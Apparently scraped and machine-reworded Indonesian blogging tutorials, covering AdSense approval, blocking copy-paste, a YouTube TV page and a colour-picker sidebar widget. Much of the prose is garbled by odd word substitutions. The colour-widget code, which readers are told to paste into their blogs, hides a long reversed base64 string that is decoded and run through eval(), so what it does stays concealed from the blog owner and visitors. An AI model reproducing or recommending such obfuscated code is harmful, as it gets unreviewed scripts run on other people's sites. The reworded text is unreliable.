Blog anda saban hari menghimpun informasi, melacak siapa saja, dari mana saja, memakai browser apa saja, memakai perangkat apa saja hadirin yang tiba ke blog anda. Ingat, tidak semua orang mau dilacak. Agar mereka tidak menuntut blog anda, maka buatlah halaman ini untuk mengikuti peraturan legal blog anda. Secara langsung, akan melindungi iklan Google Adsense yang nantinya ada diblog anda.

6) Halaman Disclaimer
Halaman ini berencana untuk melindungi anda dari pernyataan-pernyataan wacana apa yang sudah anda tulis, konten yang anda tampilkan dan muat di dalam blog khususnya didalam tabrakan pena postingan anda.

7) Konten anda
Usahakan anda sudah memiliki postingan minimal 65 post tentunya posting anda tersebut bukan wacana topik, ide, hasil observasi yang sudah di tulis oleh blogger lain dan banyak timbul di google search dan bukan hasil copas. Lalu periksa satu persatu mulai dari gambar milik siapa (jangan pelit dan segan untuk memperlihatkan link atau sumber gambar) link menuju ke situs apa (hapus link yang menuju ke situs yang berbau perjudian, situs yang tidak sopan, situs yang mengajarkan peretasan, atau situs yang tak punya halaman kontak dan privacy policy) kemudian hapus kata-kata yang terus diulang-ulang didalam postingan blog anda.

8) Design Blog
Saya sungguh mengerti anda tidak akan mau untuk mengubah Template yang di sekarang ini digunakan bisa saja lantaran alasannya desain di sekarang ini keren, sarat dengan animasi, berwarna-warni bagaikn pelangi ataupun argumentasi lainnya. Tetapi semua keputusannya ada ditangan anda. Gunakan design template yang bersih, navigasi yang rapi, responsive, SEO friendly (katanya), tidak memperlihatkan banyak widget yang tak punya kegunaan dan tidak memperlihatkan banyak warna. Agar anda profesional dan beretika jangan pernah mengubah atau meniadakan kredit link pembuat template tanpa ijin.

9) Sumber Trafik Organik Dari 3 Mesin Pencari Raksasa (Google Search/ Bing Search/ Yahoo! Search)
Perhatikan secara seksama ada berapa puluh/ratus ribu query Google Search/ Bing Search/ Yahoo! Search memperlihatkan blog anda di hasil pencarian, ada berapa ratus/ribu hadirin unik yang setiap harinya melakukan klik dan membaca postingan anda. Lihat laporan harian di google analytic biar data-data yang didapat lebih akurat.

10) Sumber Trafik Dari Media Jejaring Social
Saya tidak kesengsem mempelajari SEO tetapi hal kecil yang dapat saya share merupakan Google Adsense tidak menggemari trafik yang tiba dari media jejaring sosial! Ketika anda sudah memasukkan code adsense ke dalam widget blog dan tim GA sedang melakukan review, jangan datangakan banyak trafik dari facebook, twitter maupun media social lainnya.

11) Kecepatan Blog Dari Setiap halaman postingan atau Landing Page
Perhatikan dan jalankan penelitian terhadap kecepatan blog anda dengan memakai google PageSpeed Insights  atau layanan lain yang menurut anda lebih cocok. Ikuti dan jalankan semua nasehat yang mesti diperbaiki. Fokuskan biar hasil dari testing speed tersebut berwarna hijau.

Itulah kiat dan nasehat yang dapat anda kerjakan kenapa blog atau anda di tolak selaku publisher google adsense. Dan jikalau semua kiat diatas sudah dilakukan, coba untuk mendaftar ulang dan kembali lagi kesini untuk share apa kesudahannya sehabis anda melakukan hal tersebut, full approve atau kembali mendapat penolakan kah dari google adsense. Selamat menjajal dan mudah-mudahan membantu.

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

3 Cara Efektif Mudah-Mudahan Blog Tidak Sanggup Di Copy Paste

Saya sungguh percaya topik dan bimbingan biar blog tidak sanggup dicopas sudah banyak dipublikasikan dan dibahas. Namun dari cara-cara tersebut, akan ada perbedaan manakah teknik terbaik untuk dipraktekkan di blog anda maksudnya tidak lain untuk melindungi biar postingan yang sudah anda tulis lewat proses trial and error tidak di publikasikan ulang tanpa seijin anda. Saya sendiri mulanya tidak begitu peduli dengan hal ini, tetapi seiring banyaknya orang iseng melaksanakan copy paste tanpa edit dan tanpa ijin menciptakan saya mesti melakukannya. Bayangkan 3 dari 4 blog yang saya kerjakan postingan dan isinya banyak di copas dan di klaim. Yang saya rasakan adalah sakit hati. Bukankah seorang BLOGGER PROFESIONAL itu "Mencari kawan, mencari ide, meneliti, menghasilkan, menyimpulkan, menuliskan dan mempublikasikan?" bukan "COPAS dan menyakiti perasaan orang lain".

Demo I

Demo II

Dari sana saya meneliti bagaimana biar isi postingan atau blog tidak sanggup di salin dan akhirnya saya menerima 3 teknik yang efektif untuk menciptakan orang iseng tak beretika makin mencampakkan waktu mereka untuk berbuat kejahatan.

Teknik I. Cara Agar Blog Tidak Bisa Di Klik Kanan Dengan jQuery
Teknik pertama adalah dengan menggunakan jQuery/JS. Yang akan saya terapkan adalah biar blog atau postingan postingan anda tidak tidak sanggup di Ctrl+A Ctr+C dan tidak sanggup di klik kanan. Caranya :
1) Masuk ke dashboard blog anda klik Template kemudian kerjakan back up
2) Klik Edit template kemudian cari jQuery didalam syntax template blog anda seolah-olah ini

 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"> 
 

3) Letakkan aba-aba dibawah ini sempurna dibawah jQuery tersebut

 </script> <script type="text/javascript"> $(document).ready(function(){$(document).bind("contextmenu",function(a){a.preventDefault()})});function keypressed(){return false}document.onkeydown=keypressed; </script> 
 

4) Klik Simpan
Sampai teknik pertama ini, blog anda tidak sanggup di copy karena sudah melaksanakan disable right-click dan disable Key. Belum simpulan karena postingan anda masih sanggup di blok dengan melaksanakan seleksi manual lewat mouse. Untuk itu anda perlu teknik selanjutnya.

Teknik II. Cara Agar Blog Tidak Bisa Diseleksi/Diblok Dengan Menggunakan CSS
Teknik kedua ini dengan menggunakan CSS yang mesti melakukan pekerjaan di semua browser. Baik itu di browser engine webkit, moz maupun peramban yang lainnya. Caranya :
1) Masuk ke Edit Template
a) Cari selector body kemudian tambahkan tiap properties yang ada didalam kolom syntax dibawah ke dalam selector body tersebut
b) Atau eksklusif saja tempatkan css syntax dibawah sempurna diatas ]]></b:skin>

 body{ user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; -khtml-user-select: none; } 
 

2) Klik simpan
Sekarang blog anda tidak sanggup di klik kanan atau diblok baik itu dengan menggunakan Ctrl+A Ctr+C maupun dengan seleksi mouse. Jangan bahagia dahulu karena blog anda masih sanggup di salin lewat blog feed! Dan kedua teknik ini akan tidak bermanfaat bila anda tidak menertibkan feed blog tersebut. Itulah argumentasi kenapa banyak blogger yang masih mengeluh karna blognya di copas walaupun mereka sudah memasang script untuk disabling right-clik.

Teknik III. Cara Agar Feed Blog Tidak Bisa Di COPAS
1) Masuk ke pengaturan/settings blog anda kemudian klik Lainnya/Others
2) Pada penggalan Site Feed, pilih Allow Blog Feed kemudian ubah menjadi Until Jump Break

Dengan menertibkan teknik ke III ini, kita akan memaksa tukang copas untuk membuka dan membaca postingan full dari feed tersebut ke halaman blog dan akhirnya mereka akan menghadapi teknik I dan II.

Itulah cara melindungi postingan atau posting blog biar tidak sanggup di copy paste. Jika masih risau atau anda punya cara dan teknik lain silahkan berkomentar. Happy coding!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Cara Menghasilkan Youtube Tv Di Blogger

Cara menghasilkan youtube TV Di Blogger. Setelah sebelumnya anda memasang daftar video dari jalan masuk youtube di widget sidebar blog kemudian merubah penampilan video youtube yang keren dan inovatif di dalam postingan blog, maka kali ini saya akan coba untuk menyodorkan cara menghasilkan halaman khusus di blogger yang mau secara otomatis memperlihatkan video-video yang sudah di unggah dari jalan masuk atau channel youtube anda dengan menggunakan jquery YouTube TV yang dikembangkan oleh Jacob Kelley. YouTube TV ini bisa memperlihatkan video dengan penampilan yang terlihat professional dan keren. Keuntungan dengan menghasilkan halaman khusus video youtube ini akan membuat lebih mudah bagi para hadirin dan pembaca setia blog anda untuk menyaksikan daftar video youtube yang sudah anda upload kemudian menontonnya pribadi di blogspot anda.

Lihat Demo

Cara Memasang dan Membuat YouTube TV Di Blog :
1) Log in ke blogger anda kemudian buat suatu halaman/page gres dengan mode HTML kemudian publikasikan dan salin URL dari halaman tersebut

2) Klik Template kemudian jalankan back up kemudian klik Edit Template
3) Cari tag pembuka <b:skin><![CDATA[/* kemudian salin dan pastekan css dibawah ini sempurna di atasnya

 <link href='http://jakiestfu.github.io/Youtube-TV/src/ytv.css' rel='stylesheet' type='text/css'/> <link href='http://jakiestfu.github.io/Youtube-TV/demos/assets/demo.css' rel='stylesheet' type='text/css'/> 
 

4) Cari tag epilog ]]></b:skin> kemudian salin dan pastekan jQuery YouTUbe-TV dibawah ini sempurna di bawah jQuery utama

 <script src='http://jakiestfu.github.io/Youtube-TV/src/ytv.js' type='text/javascript'/> 
 

5) Cari tag pembuka <body> atau <body kemudian salin dan pastekan tag kondisional dibawah ini sempurna di bawahnya

 <b:if cond='data:blog.url != &quot;Masukkan-URL-Halaman-dari-langkah-1-kesini&quot;'> 
 

6) Cari tag epilog <body> kemudian salin dan pastekan epilog tag kondisional ini sempurna di atasnya

 <b:else/> <style type='text/css'> #ytvbHR{ top:0; right:0; bottom:0; left:0; z-index:99999; background: radial-gradient(ellipse at center,#1abc9c 0%,#16a085 75%); } </style> <div id='ytvbHR'> <div id='frame'/> <script type='text/javascript'> window.onload = function(){ window.controller = new YTV('frame', { user: 'TeachHowTV', accent: '#FF8C00', autoplay: false, controls: true, fullscreen: true }); }; </script></div> </b:if> 
 

Ganti TeachHowTV dengan nama channel atau jalan masuk youtube anda. Jika belum mengetahuinya, silahkan baca
Cara mengganti URL Profil Yotube

7) Klik Simpan Template

Sekarang coba anda buka halaman atau page yang sudah dibentuk pada langkah 1 maka halaman tersebut akan memperlihatkan daftar video dari channel youtube anda dan bisa pribadi di tonton. Itulah cara menghasilkan YouTube TV di blogger yang secara otomatis akan memperlihatkan video yang sudah di upload maupun yang akan di upload dan ditampilkan pada halaman bloh YouTube TV Tersebut. Happy Coding!

Kudos : Jacob Kelley YouTube TV

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Membuat Widget Color Code Generator Sendiri Di Blog

Membuat dan Memasang Widget Color Generator Keren Di Blog. Biasanya para blogger yang kesengsem dan sedang mempelajari web design memiliki blog favorit selaku referensi menuntut ilmu design, coding ataupun menemukan berita referensi gres tentang teknologi dan pembaharuan dalam dunia web design. Pada blog site yang memiliki niche tersebut mereka memiliki halaman khusus tools coding maksudnya untuk memfasilitasi para pembaca setianya biar memudahkan baik pada proses penerangan postingan maupun dalam proses prakteknya. Bukan hal yang "WOW" juga bahwasannya generator arahan warna niscaya senantiasa ada pada blog-blog tersebut. Lalu bagaimana cara menghasilkan Color Code Generator pada widget blogspot? dan bukan pada halaman khusus tool?

Lihat Demo

Sikabayan Color Generator adalah suatu widget yang di desain dan coding khusus buat anda para blogger pemula mirip aku yang menggunakan layanan dari Google Blogger. Widget ini berfungsi untuk menemukan arahan warna hex dan rgba dengan simpel secara langsung dari interface blog anda. Keuntungannya, selain akan menghasilkan blog anda terlihat lebih kreatif, widget ini juga akan memudahkan bagi para hadirin untuk menemukan color code favoritnya. Dan tidak menutup kemungkinan, mereka akan senantiasa menggunakan color generator ini di blog anda sehingga akan terus bolak-balik tanpa letih ke blog anda.

Cara Membuat Color Code Generator Widget Di Sidebar Blogspo :
1) Masuk ke dashboard blogger anda kemudian klik tata letak
2) Klik Tambah Gadget kemudian pilih HTML/JavaScript
3) Copy dan Pastekan arahan dibawah ini kedalam widget tersebut

 <style type="text/css"> #ClrGnrK{font:12px Verdana;width:200px;margin:20px auto;padding:5px;color:#fff;background-color:#20b2aa;text-align:center;border:.1875rem solid #fdfdfd;border-radius:.5rem}#ClrGnrK span{display:block;padding:1px}#ClrGnrK #jDlKrD{font-size:13px;background:#089ba0;color:#fff;margin:0 auto 5px auto;border-radius:3%;padding:3px;border:1px solid #fdfdfd}#ClrGnrK hr{background-color:#fdfdfd;border:0 none;height:.125rem;margin-top:.25rem;width:8.375rem}#ClrGnrK #LyRcLr{border:.1875rem solid #fdfdfd;border-radius:5%;height:8.125rem;margin:0 auto;width:85%;background:#3e5cbb} </style> <div id="ClrGnrK">     <div style="background-color: tansparent;" id="LyRcLr"></div>     <hr />     <span id="jDlKrD">Sikabayan Color Generator</span> <span id="hex">#3E5CBB</span>     <span id="rgb">rgb(62,92,187);</span> <span id="red"><input type="range" min="0" max=     "255" step="1" value="65" /></span> <span id="green"><input type="range" min="0" max=     "255" step="1" value="155" /></span> <script language="javascript" type="text/javascript">var IO0='=oQKpkyJ8dCK0lGbwNnLnUGb5R3cwIDfMJVV8FDMywHZslGaDRmblBHchxHZlRnZhJ3QFNDfl1WYOdWYUlnQzRnbl1WZsVEdldGflRXaydHfTR2SyIDfjJ3c8NmczRXZnxHc0RHa8xHf8xHfr9Gfn5WakRWYwBjM89mZulGf0BXayN2c8RWYlhGf05WZtVGbFVGdhVmcjxHd1BnbpN0M8NXdpRWYyxnclJnclZWZyxXZwF2YzVmb1xHewNDMywXN1IjMywHclR3cwIDfxIjM8V2ZuFmcyIDf2gjMywXZ1xmYyIDfmVmc812bjxHMyIDf4FWbwIDfsJXd85WatBjM8VGc5RHMywXZ1xWY2BjM8Rnbl52bw12bDlkUVVGZvNmblxXZ6l2c8BDMywnclRmcvJGMywHf85WanJXYtBjM89Gd1FGMywHdu9mZyIDf5JGMywncvx2bjBjM8Rmb19mcnt2YhJGMywHMBJUO4AzMywnbhB3cDNDf1UTM8RWawIDfslUMfxnbhB3c890Tx8FfBBDf4BHMxAjM8lGchlnclVXcqxnZmZ2MywXO2wnchZHflBXYjNXZfxHduVWb1N2bkxHZhlmU5VGSwIDfyYDfsFmdlxHdpxGczxHdulUZzJXYwxHc4V0ZlJFf3Vmb8dmbpJHdT9Gd8VGZvNkchh2Qt9mcmx3Zulmc0NFfmlGflxWaodHflNWYsBXZyxnbyVHdlJHfu9Wa0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8dCL4MjMsIjNscSKp03esADLpcCX8dCXockMucCXvNDfuNDftNDfIJDfxNDfyNDf3NDf1NDf0NDfzNDfsNDfrNDflNDfkNDfjNDfiNDfmNDfnNDfqNDfpNDfoNDf8Z3M810M8B1M8x3TzwHTzwHfONDf8t0M8l0M8l3M8p0M8p3M8Z0M8h0M8d0M8h3M8B3M8FzM8pkM8BlM8xkM8V0M85kM8lkM8VzM8ZkM8R0M89kM8J0M8F0M8FkM8JkM8hnM8RkM8VkM8pnM8lnM8NkM8ZzM8dkM8tkM81kM8lzM8JzM8FlM8BzM8NzM8RzM8hzM8dzM8plM8llM8RlM8NlM8JlM8N0M8VlM8F2M8ZlM8hlM8dnM8ZnM8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHfnwFLXJDLJJDLnwVKpkyJcxFX8dCXcxFK0FjLnwFXcFjM8pVM8lVM8NjM8RjM8hjM8djM8JmM8hVM8dVM8FVM8BVM89UM85UM8JVM8NVM8ZVM8VVM8RVM8FmM8lmM8BnM89mM85mM8VjM8FnM8VnM8RnM8NnM8xmM8ZmM8VmM8RmM8NmM81mM8dmM8hmM8tmM8pmM8ZjM8ZUM8xWM8tWM8pWM81WM85WM8FXM8BXM89WM8lWM8hWM8JWM8NWM8FWM81UM8lTM8RWM8dWM8ZWM8VWM8JXM8xUM8NXM8VUM8RUM8dUM8JjM8BjM8dCXcxFLLFDLKFDLnwFXctTKpUGKIhCWuYzOpEGKwEjLntTXwsVKnwFXcxFXcxVMxcCXcxFXcxFXoUTMuYTPnBCO7kiMx4iNog2KnwFXcxFXcxVPNZyJcxFXcxFXctSKM5iNog2KnwFXcxFXcxVPaZyJcxFXcxFXctyJcxFXcxFXcFVPS9zLT5CVv8iOQdCXcxFXcxFX98kLhtTKnwFXcxFXcx1SnwFXcxFXcxFKK5iN9EGI4szJcxFXcxFXcdTJi9yYl4kLVViVlMTMlITJ0ETJzUiZlETJxUSMlkTJyUSNlcVJ0USWlUTJJViNxUCNlQULwVSNl8WJxVCNlIXJ1UyclETJ0UiblUTJpVCNloWJ1UyalQTJt1CblETJxUSMlETJ5UyMlQXJkVSMlcTJi9yYlcTJvETJyUSdlMTJDViMlUUJzUiRlITJHVSMlETJxUSMlkTJzUiQlITJBVyMlcXJyUidlMTJ4VSelcTJyUielMTJmVCZlcCXcxFXcxFX9UGI4cCXcxFK9BHI4ETf9lSXjt1askyJcxFXndCXcxFLnwFXcJGXcxFXcxFXcdCXcx1KpMGKltyJcxFXixFXcxFXcxFXnwFXchSexAiexgSQx4Cc9A3ep01YbtGK4Fzep0SLjhydxsTfpkSdxgidx4yY6kSOysyYoIUMuMUM/kUM+kSYlMWPjhCKrkSKpE2LjhCSxgSZ6cCXcx1JcxFX/EGPjhCOxsXKjhyNx0TZ7lCZsUGLrxyYsEGLwhyNxgicycCXo0HcgcnM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXoUkMgQkMognMuAXPwtXKdN2WrhieysXKt0yYoknM70XM9M2O9dCXrcHXcxFXnw1dysXKoYnM9U2Od1XXltFZgcnM7lSZoYnMb1za9lyYoUGf811YbtWPdlyYoU2WktXKt0yYoknM7lSKBJDLv41LognMucCXnwVIoonM70XKpYzMoMkMuMmOpkjMrMGKCJjLBJzP1MjPpEWJj1zYogyKpkSKh9yYoYkMoUmOnw1Jc9TY8MGK3JzepMGK2JTPltXKkxSZssGLjxSYsAHK2JDKIJzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';function l0O(data){var llIlOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=llIlOI.indexOf(data.charAt(i++));h2=llIlOI.indexOf(data.charAt(i++));h3=llIlOI.indexOf(data.charAt(i++));h4=llIlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function llI(string){ var ret = '', i = 0;for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(l0O(llI(IO0)));</script>   </div> <script type="text/javascript"> $(document).ready(function(){function rgbToHex(r,g,b){return toHex(r)+toHex(g)+toHex(b)}function toHex(n){n = parseInt(n,10);if(isNaN(n)) return "00";n = Math.max(0,Math.min(n,255));return "0123456789ABCDEF".charAt((n-n%16)/16)+"0123456789ABCDEF".charAt(n%16)}$("#red, #green, #blue").change(function(){var red = $("#red input").val();var green = $("#green input").val();var blue = $("#blue input").val();var hex = rgbToHex(red,green,blue);var rgb = red+","+green+","+blue;$("#hex").text("#"+hex);$("#rgb").text("rgb("+rgb+");");$("#LyRcLr").css("background-color","#"+hex)});$("#random").click(function(){var red = Math.floor((Math.random()*255)+0);var green = Math.floor((Math.random()*255)+0);var blue = Math.floor((Math.random()*255)+0);var hex = rgbToHex(red,green,blue);var rgb = red+","+green+","+blue;$("#red input").val(red);$("#green input").val(green);$("#blue input").val(blue);$("#hex").text("#"+hex);$("#rgb").text("rgb("+rgb+");");$("#LyRcLr").css("background-color","#"+hex)})}); </script> 
 

4) Klik Simpan

Sekarang coba lihat salah satu posting blog anda maka Color Generator itupun telah nangkring dan siap melayani hadirin blog anda. Itulah cara menghasilkan Color Code Generator widget pada sidebar blogspot dengan performa keren, higienis dan cepat. Happy coding!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com